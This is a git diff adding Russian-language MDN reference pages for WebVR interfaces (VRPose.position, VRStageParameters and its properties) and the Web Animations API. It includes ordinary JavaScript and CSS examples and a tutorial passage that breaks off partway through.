+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrpose', 'VRPose')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRPose")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrpose/position/index.html b/files/ru/web/api/vrpose/position/index.html
new file mode 100644
index 0000000000..2db5c476d2
--- /dev/null
+++ b/files/ru/web/api/vrpose/position/index.html
@@ -0,0 +1,68 @@
+---
+title: VRPose.position
+slug: Web/API/VRPose/position
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRPose/position
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Постоянное свойство <strong>position</strong> (только для чтения) интерфейса {{domxref ("VRPose")}} возвращает позицию {{domxref ("VRDisplay")}} в текущем {{domxref ("VRPose.timestamp")}} как 3D вектор.</p>
+
+<p>Система координат выглядит следующим образом:</p>
+
+<ul>
+ <li>Положительное значение X - справа от пользователя.</li>
+ <li>Положительное значение Y - сверху.</li>
+ <li>Положительное значение Z - позади от пользователя.</li>
+</ul>
+
+<p>Местоположения измеряются в метрах от исходной точки - эта точка является либо положением, в котором датчик был впервые считан, либо положением датчика в точке, которую {{domxref ("VRDisplay.resetPose ()")}} в последний раз вызывали.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: По умолчанию все позиции даны как имеющие горизонтальное расположение. Преобразование этой точки с помощью параметра {{domxref ("VRStageParameters.sittingToStandingTransform")}} - например, когда вы работаете с дисплеем комнаты - преобразует это в вертикальное расположение.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var myPosition = VRPose.position;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Значение (типа Float)  {{domxref("Float32Array")}}, или ноль, если датчик VR не может предоставить данные о местоположении.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Пользовательские агенты могут предоставлять эмулированные значения положения с помощью таких методов, как моделирование шеи; при этом они все равно должны сообщать параметр {{domxref ("VRDisplayCapabilities.hasPosition")}} как ложные.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<p>{{page("/Web/API/VRDisplay/getFrameData", "Examples")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrpose-position', 'position')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{Compat("api.VRPose.position")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — дeмонстрационные, материалы для загрузки и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrstageparameters/index.html b/files/ru/web/api/vrstageparameters/index.html
new file mode 100644
index 0000000000..1b44ab613c
--- /dev/null
+++ b/files/ru/web/api/vrstageparameters/index.html
@@ -0,0 +1,80 @@
+---
+title: VRStageParameters
+slug: Web/API/VRStageParameters
+tags:
+  - API
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - VR
+  - VRStageParameters
+  - Virtual Reality
+  - WebVR
+translation_of: Web/API/VRStageParameters
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>VRStageParameters</code></strong> interface of the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> represents the values describing the the stage area for devices that support room-scale experiences.</p>
+
+<p>This interface is accessible through the {{domxref("VRDisplay.stageParameters")}} property.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("VRStageParameters.sittingToStandingTransform")}} {{readonlyInline}}</dt>
+ <dd>Contains a matrix that transforms the sitting-space view matrices of {{domxref("VRFrameData")}} to standing-space.</dd>
+ <dt>{{domxref("VRStageParameters.sizeX")}} {{readonlyInline}}</dt>
+ <dd><dfn>Returns the w</dfn>idth of the play-area bounds in meters.</dd>
+ <dt>{{domxref("VRStageParameters.sizeY")}} {{readonlyInline}}</dt>
+ <dd><dfn>Returns the depth</dfn> of the play-area bounds in meters.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var info = document.querySelector('p');
+var vrDisplay;
+
+navigator.getVRDisplays().then(function(displays) {
+  vrDisplay = displays[0];
+  var stageParams = vrDisplay.stageParameters;
+  // stageParams is a VRStageParameters object
+
+  if(stageParams === null) {
+    info.textContent = 'Your VR Hardware does not support room-scale experiences.'
+  } else {
+    info.innerHTML = '&lt;strong&gt;Display stage parameters&lt;/strong&gt;'
+                 + '&lt;br&gt;Sitting to standing transform: ' + stageParams.sittingToStandingTransform
+                 + '&lt;br&gt;Play area width (m): ' + stageParams.sizeX
+                 + '&lt;br&gt;Play area depth (m): ' + stageParams.sizeY
+  }
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrstageparameters', 'VRStageParameters')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRStageParameters")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html b/files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html
new file mode 100644
index 0000000000..0443350c6f
--- /dev/null
+++ b/files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html
@@ -0,0 +1,52 @@
+---
+title: VRStageParameters.sittingToStandingTransform
+slug: Web/API/VRStageParameters/sittingToStandingTransform
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRStageParameters/sittingToStandingTransform
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Постоянное свойство <strong><code>sittingToStandingTransform</code></strong> (read-only, только для чтения ) интерфейса {{domxref("VRStageParameters")}} содержит матрицу, которая преобразует матрицы горизонтального вида {{domxref("VRFrameData")}} в вертикальный.</p>
+
+<p>В основном, это может быть передано в ваш кроссплатформенный WebGL-код для преобразования визуализированного вида из горизонтального в вертикальный.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="brush: js">var myTransform = vrStageParametersInstance.<code>sittingToStandingTransform</code>;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>16-значный элемент {{domxref ("Float32Array")}}, содержащий компоненты матрицы преобразования вида 4 × 4.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>{{page("/Web/API/VRStageParameters", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrstageparameters-sittingtostandingtransform', 'sittingToStandingTransform')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Режим_совместимости_браузера">Режим совместимости браузера</h2>
+
+<p>{{Compat("api.VRStageParameters.sittingToStandingTransform")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные, доступные для загрузки и другие материалы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrstageparameters/sizex/index.html b/files/ru/web/api/vrstageparameters/sizex/index.html
new file mode 100644
index 0000000000..adf67b2acf
--- /dev/null
+++ b/files/ru/web/api/vrstageparameters/sizex/index.html
@@ -0,0 +1,52 @@
+---
+title: VRStageParameters.sizeX
+slug: Web/API/VRStageParameters/sizeX
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRStageParameters/sizeX
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Неизменяемое свойство <strong>sizeX</strong> (только для чтения) интерфейса "VRStageParameters" возвращает ширину границ игровой зоны в метрах.</p>
+
+<p>В целях безопасности границы определяются как прямоугольник, ориентированный по оси основания. Контент не должен требовать от пользователя выхода за эти пределы; однако пользователь может игнорировать границы, что приводит к значениям положения вне этого прямоугольника. Центр прямоугольника находится в точке  с координатами (0,0,0). </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var mySizeX = vrStageParametersInstance.<code>sizeX</code>;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Параметр типа float, представляющий ширину в метрах..</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>{{page("/Web/API/VRStageParameters", "Examples")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrstageparameters-sizex', 'sizeX')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRStageParameters.sizeX")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные, материалы для загрузки и другие ресурсы команды   Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrstageparameters/sizey/index.html b/files/ru/web/api/vrstageparameters/sizey/index.html
new file mode 100644
index 0000000000..43e908e20e
--- /dev/null
+++ b/files/ru/web/api/vrstageparameters/sizey/index.html
@@ -0,0 +1,52 @@
+---
+title: VRStageParameters.sizeY
+slug: Web/API/VRStageParameters/sizeY
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRStageParameters/sizeY
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Свойство (параметр) <strong>sizeY</strong> только для чтения интерфейса {{domxref ("VRStageParameters")}} возвращает глубину границ игровой площадки в метрах.</p>
+
+<p>В целях безопасности границы определяются как прямоугольник, ориентированный по оси на полу.. Контент (содержимое) не должен требовать от пользователя выхода за эти пределы; однако пользователь может игнорировать границы, что приводит к значениям положения вне этого прямоугольника. Центр прямоугольника находится в точке (0,0,0) в координатах замкнутого пространства.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var mySizeY = vrStageParametersInstance.<code>sizeY</code>;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Параметр типа <strong>float</strong>, представляющий глубину в метрах.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>{{page("/Web/API/VRStageParameters", "Examples")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrstageparameters-sizey', 'sizeY')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRStageParameters.sizeY")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные материалы,загружаемые и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/web_animations_api/index.html b/files/ru/web/api/web_animations_api/index.html
new file mode 100644
index 0000000000..bb8ac2a631
--- /dev/null
+++ b/files/ru/web/api/web_animations_api/index.html
@@ -0,0 +1,100 @@
+---
+title: Web Animations API
+slug: Web/API/Web_Animations_API
+translation_of: Web/API/Web_Animations_API
+---
+<p>{{DefaultAPISidebar("Веб-анимация")}} {{SeeCompatTable()}}</p>
+
+<div class="summary">
+<p>API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путем объединения двух моделей: Модель синхронизации и анимации модели.</p>
+</div>
+
+<h2 id="Основные_понятия_и_использование_API">Основные понятия и использование API</h2>
+
+<p>Web Animations API (API веб-анимации) обеспечивает общий язык для браузеров и разработчиков для описания анимации элементов DOM. Для более подробной информации о концепциях, заложенных в API, и о его использовании, прочтите статью <a href="/en-US/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API">Использование Web Animations API </a> .</p>
+
+<h2 id="Интерфейсы_веб-анимации">Интерфейсы веб-анимации</h2>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{Domxref("Animation")}}</dt>
+ <dd>Обеспечивает элементы управления воспроизведением и временную шкалу для узла анимации или источника. Можно взять объект, созданный с помощью {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} конструктор.</dd>
+ <dt>{{Domxref("KeyframeEffect")}}</dt>
+ <dd>Описывает наборы анимируемых свойств и значений, называемых  <strong>ключевыми кадрами</strong> и их <a href="/en-US/docs/Web/API/Web_Animations_API/Animation_timing_options">параметры синхронизации </a><strong>. </strong> Они могут затем быть воспроизведены с помощью {{domxref("Animation.Animation", " Animation()")}} конструктор.</dd>
+ <dt>{{Domxref("AnimationTimeline")}}</dt>
+ <dd>Представляет график анимации. Этот интерфейс существует, чтобы определить особенности временной шкалы (наследуемые интерфейсом {{domxref("DocumentTimeline")}} и другими интерфейсами в будущем) и не предназначен для непосредственного использования разработчиками.</dd>
+ <dt>{{Domxref("DocumentTimeline")}}</dt>
+ <dd>Представляет временные рамки анимации, в том числе временные рамки анимации по умолчанию для документа (через свойство {{domxref("Document.timeline")}}).</dd>
+ <dt>{{Domxref("AnimationEffectTiming")}}</dt>
+ <dd>Объект, содержащий временные свойства, возвращенные {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.</dd>
+ <dt>{{Domxref("SharedKeyframeList")}}</dt>
+ <dd>Представляет собой последовательность ключевых кадров , которые могут быть разделены между {{domxref("KeyframeEffect")}} объектов. Используя <code>SharedKeyframeList</code>объекты, несколько <code>KeyframeEffect</code>объектов могут повторно использовать одни и те же ключевые кадры , не заплатив стоимость разбора их несколько раз.</dd>
+ <dt>{{domxref("AnimationEffectTimingProperties")}}</dt>
+ <dd>{{Domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly()")}} и {{domxref("KeyframeEffect.KeyframeEffect()")}} все принимают необязательный словарь объект синхронизации свойств.</dd>
+</dl>
+
+<h2 id="Расширения_для_других_интерфейсов">Расширения для других интерфейсов</h2>
+
+<p>API веб - анимации добавляет некоторые новые функции в <strong style="font-size: 14px; font-weight: 700; line-height: 1.5;">{{domxref("документ")}}</strong> и  <strong style="font-size: 14px; font-weight: 700; line-height: 1.5;">{{domxref("элемент")}}.</strong></p>
+
+<h3 id="Расширения_Documentинтерфейса">Расширения <code>Document</code>интерфейса</h3>
+
+<dl>
+ <dt>{{Domxref("document.timeline")}}</dt>
+ <dd><code>DocumentTimeline</code>Объект , представляющий документ по умолчанию временную шкалу.</dd>
+ <dt>{{Domxref("document.getAnimations()")}}</dt>
+ <dd>Возвращает массив {{domxref("Анимация")}} объектов в настоящее время действуют на элементах в <code>document</code>.</dd>
+ <dt>
+ <h3 id="Расширения_Elementинтерфейса">Расширения <code>Element</code>интерфейса</h3>
+ </dt>
+ <dt>{{Domxref("Element.animate()")}}</dt>
+ <dd>Способ быстрого доступа для создания и воспроизведения анимации на элементе. Она возвращает созданный {{domxref("Анимация")}} экземпляра объекта.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Веб-анимация_для_чтения_только_интерфейсы">Веб-анимация для чтения только интерфейсы</h2>
+
+<p>Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более легкой ссылки, чем спецификация обеспечивает.</p>
+
+<dl>
+ <dt>{{Domxref("AnimationEffectTimingReadOnly")}}</dt>
+ <dd>Словарь объект временных свойств, которые наследуются изменяемом {{domxref("AnimationEffectTiming")}} интерфейс, связанный с {{domxref("KeyframeEffect")}}.</dd>
+ <dt>{{Domxref("AnimationEffectReadOnly")}}</dt>
+ <dd>Определяет текущие и будущие "Анимационные эффекты" , как {{domxref("KeyframeEffect")}}, который может быть передан {{domxref("Анимация")}} объектов для воспроизведения, и {{domxref("KeyframeEffectReadOnly")}} который используется {{domxref("KeyframeEffect")}} (наследуется <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> и <a href="/en-US/docs/Web/CSS/CSS_Transitions">Transitions</a> ). Все значения {{domxref("Animation.effect")}} имеют типов на основе <code>AnimationEffectReadOnly</code>.</dd>
+ <dt>{{Domxref("KeyframeEffectReadOnly")}}</dt>
+ <dd>Описывает наборы Animatable свойств и значений, которые могут быть воспроизведены с помощью {{domxref("Animation.Animation", "анимация()")}} конструктор, и которые унаследованы {{domxref("KeyframeEffect")}}. </dd>
+</dl>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName ( 'Web Анимации')}}</td>
+   <td>{{Spec2 ( 'Web Анимации')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API">Использование веб-API Animations</a></li>
+ <li><a href="https://mozdevs.github.io/Animation-examples/">Web демки Анимации</a></li>
+ <li><a href="https://github.com/web-animations/web-animations-js">Polyfill</a></li>
+ <li>Текущая реализация браузера Firefox:  <a href="https://birtles.github.io/areweanimatedyet/">AreWeAnimatedYet</a></li>
+ <li>
+  <p><a href="http://codepen.io/danwilson/pen/xGBKVq">Тест Поддержка браузеров</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
new file mode 100644
index 0000000000..78975958c6
--- /dev/null
+++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html
@@ -0,0 +1,353 @@
+---
+title: Using the Web Animations API
+slug: Web/API/Web_Animations_API/Using_the_Web_Animations_API
+tags:
+  - Анимация
+translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
+---
+<p>{{DefaultAPISidebar("Web Animations")}}</p>
+
+<p class="summary">Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c веселыми демками и уроками с Алисой в Стране Чудес.</p>
+
+<h2 id="Встречайте_Web_Animations_API">Встречайте Web Animations API</h2>
+
+<p>В <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> открывает анимацию на движке браузеров для разработчиков и манипуляции через (с помощью) JavaScript.<br>
+ Этот API был разработан в основе реализации <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> и <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS Transitions</a>, и оставлял свободу движений для будущих анимационных эффектов. Это один из самых эффективных способов анимации, поддерживаемой в Интернете, позволяя браузеру сделать свою собственную внутреннюю оптимизацию без хаков, принуждения, или {{domxref("Window.requestAnimationFrame()")}}.</p>
+
+<p>С Web Animations API, мы можем управлять интерактивной анимацией со стилями  JavaScript, отделяя представление от действия. Нам больше не нужно полагаться  на DOM-heavy методики написания CSS свойств и обзорных классов для элементов контроля воспроизведения направления. И в отличии от чисто декларативного CSS, JavaScript также позволяет устанавливать динамические значения свойств и их продолжительность. Для создания пользовательских библиотек и интерактивной анимации Web Animations API может стать прекрасным инструментом в работе. Давайте посмотрим, что он может сделать!</p>
+
+<h2 id="Поддержка_Браузеров">Поддержка Браузеров</h2>
+
+<p>Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на  API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки <a href="https://github.com/web-animations/web-animations-js">handy maintained polyfill</a> которая тестирует и добавляет ее при необходимости.</p>
+
+<h2 id="Написание_CSS_Animations_вместе_с_Web_Animations_API">Написание CSS Animations вместе с Web Animations API</h2>
+
+<p>Самый простой способ в обучении Web Animations API это начать с чего начинало большинство веб-разработчиков: CSS Animations. В CSS Animations есть знакомый синтаксис, который хорошо раскрывает структуры демонстрационных примеров.</p>
+
+<h3 id="CSS_версия">CSS версия</h3>
+
+<p>Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведет в страну чудес (см. полный код на<a href="http://codepen.io/rachelnabors/pen/QyOqqW"> Codepen</a>):</p>
+
+<p><a href="http://codepen.io/rachelnabors/pen/rxpmJL"><img alt="Alice Tumbling down the rabbit's hole." src="https://mdn.mozillademos.org/files/13843/tumbling-alice_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p>
+
+<p>Заметьте, что фон двигается, Алиса крутится и ее цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощенный код CSS, который управляет движением Алисы.</p>
+
+<pre class="brush: css notranslate">#alice {
+  animation: aliceTumbling infinite 3s linear;
+}
+
+@keyframes aliceTumbling {
+  0% {
+    color: #000;
+    transform: rotate(0) translate3D(-50%, -50%, 0);
+  }
+  30% {
+    color: #431236;
+  }
+  100% {
+    color: #000;
+    transform: rotate(360deg) translate3D(-50%, -50%, 0);
+  }
+}</pre>
+
+<p>Изменение цвета Алисы и ее вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоке мы видим, что 30%  из всего цикла (около 9 секунд), цвет Алисы меняется от черного до насыщенного бордового, а потом снова в черный к концу цикла.</p>
+
+<h3 id="Движение_в_JavaScript">Движение в JavaScript</h3>
+
+<p>Теперь давайте попробуем создать такую же анимацию с Web Animations API.</p>
+
+<h4 id="Представляя_кадры">Представляя кадры</h4>
+
+<p>В первую очередь мы должны сосздать <a href="/en-US/docs/Web/API/Web_Animations_API/Keyframe_Formats">Keyframe Object</a> соответствующего нашему CSS <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> блоку:</p>
+
+<pre class="brush: js notranslate">var aliceTumbling = [
+  { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+  { color: '#431236', offset: 0.333},
+  { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+];</pre>
+
+<p>Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даете. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.</p>
+
+<p>Если мы хотим, чтобы определенный набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведенном выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаем смещение: 0,333.</p>
+
+<p>Там должно быть как минимум два кадра (представляющих начало и конец анимации). Если в вашем списке keyframe только одна запись, {{domxref("Element.animate()")}} то анимация выполняться не будет, вы получите ошибку NotSupportedError exception.</p>
+
+<p>И так повторим, код равномерно распределен по умолчанию, если не указано смещение. Удобно, не так ли?</p>
+
+<h4 id="Представление_свойства_времени.">Представление свойства времени.</h4>
+
+<p>Мы также должны создать объекту временные свойства (an {{domxref("AnimationEffectTimingProperties")}} object) соответствующие значению анимации Алисы:</p>
+
+<pre class="brush: js notranslate">var aliceTiming = {
+  duration: 3000,
+  iterations: Infinity
+}</pre>
+
+<p>Вы увидите здесь несколько отличий того, как соответствующие значения представлены в CSS:</p>
+
+<ul>
+ <li>Во-первых, длительность в миллисекундах, в отличии от секунд - 3000, а не 3с. Как {{domxref("WindowTimers.setTimeout()")}} и {{domxref("Window.requestAnimationFrame()")}}, Web Animations API использует только миллисекунды.</li>
+ <li>Во-вторых, что вы заметили, что он итерационный (повторяется), а не счетчик повторений.</li>
+</ul>
+
+<div class="note">
+<p>Существует ряд небольших различий между терминологией, используемой в анимации CSS и терминологии, которая используется в веб-анимации. Например, веб-анимации не используется строка "бесконечное", а вместо этого использует JavaScript код бесконечность. И вместо временной-функции мы используем ослабление. Мы не будем перечислять здесь значение ослабления, потому что, в отличие от CSS анимации, где по умолчанию <a href="/en-US/docs/Web/CSS/animation-timing-function">animation-timing-function</a> это просто, в веб-анимации API для ослаблеия по умолчанию используется линейная зависимость - котрые мы используем здесь</p>
+</div>
+
+<h4 id="Собираем_части_вместе.">Собираем части вместе.</h4>
+
+<p>Сейчас соберем все части вместе используя {{domxref("Element.animate()")}} метод:</p>
+
+<pre class="brush: js notranslate">document.getElementById("alice").animate(
+  aliceTumbling,
+  aliceTiming
+)</pre>
+
+<p>И вуаля, анимация работает(смотрите готовый вариант на <a href="http://codepen.io/rachelnabors/pen/rxpmJL">version on Codepen</a>).</p>
+
+<p>The <code>animate()</code> метод может быть применен на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:</p>
+
+<pre class="brush: js notranslate">document.getElementById("alice").animate(
+  [
+    { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+    { color: '#431236', offset: 0.333},
+    { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+  ], {
+    duration: 3000,
+    iterations: Infinity
+  }
+);</pre>
+
+<p>Более того, если мы хотели указать только длительность анимации, а не ее повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:</p>
+
+<pre class="brush: js notranslate">document.getElementById("alice").animate(
+  [
+    { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+    { color: '#431236', offset: 0.333},
+    { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+  ], 3000);</pre>
+
+<h2 id="Управление_воспроизведением_с_помощью_play_pause_reverse_and_playbackRate">Управление воспроизведением с помощью play(), pause(), reverse() and playbackRate</h2>
+
+<p>Хотя мы можем писать CSS анимацию с Web Animations API, где API действительно хорошо подходит в качестве воздействия для воспроизведения анимации. Web Animations API обеспечивает несколько удобных методов для контроля воспроизведения анимации. Давайте посмотрим на паузу и воспроизведение анимации в росте/уменьшении Алисы в игре (провериить полный код можно на сайте <a href="http://codepen.io/rachelnabors/pen/PNYGZQ">full code on Codepen</a>):</p>
+
+<p><a href="http://codepen.io/rachelnabors/pen/PNYGZQ?editors=0010"><img alt="Playing the growing and shrinking game with Alice." src="https://mdn.mozillademos.org/files/13845/growing-shrinking_article_optimized.gif" style="display: block; height: 374px; margin-left: auto; margin-right: auto; width: 700px;"></a></p>
+
+<p>В этой игре Алиса меняется в росте, она то растет, то уменьшается, а контролируем мы этот процесс с помощью  бутылки и кекса. Каждый из них имеют свою анимацию.</p>
+
+<h3 id="Пауза_и_проигрывание_анимации.">Пауза и проигрывание анимации.</h3>
+
+<p>Мы поговорим об анимации Алисы позже, а сейчас посмотрим поближе на анимации кекса:</p>
+
+<pre class="brush: js notranslate">var nommingCake = document.getElementById('eat-me_sprite').animate(
+[
+  { transform: 'translateY(0)' },
+  { transform: 'translateY(-80%)' }
+], {
+  fill: 'forwards',
+  easing: 'steps(4, end)',
+  duration: aliceChange.effect.timing.duration / 2
+});</pre>
+
+<p>Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнется игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмет, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:</p>
+
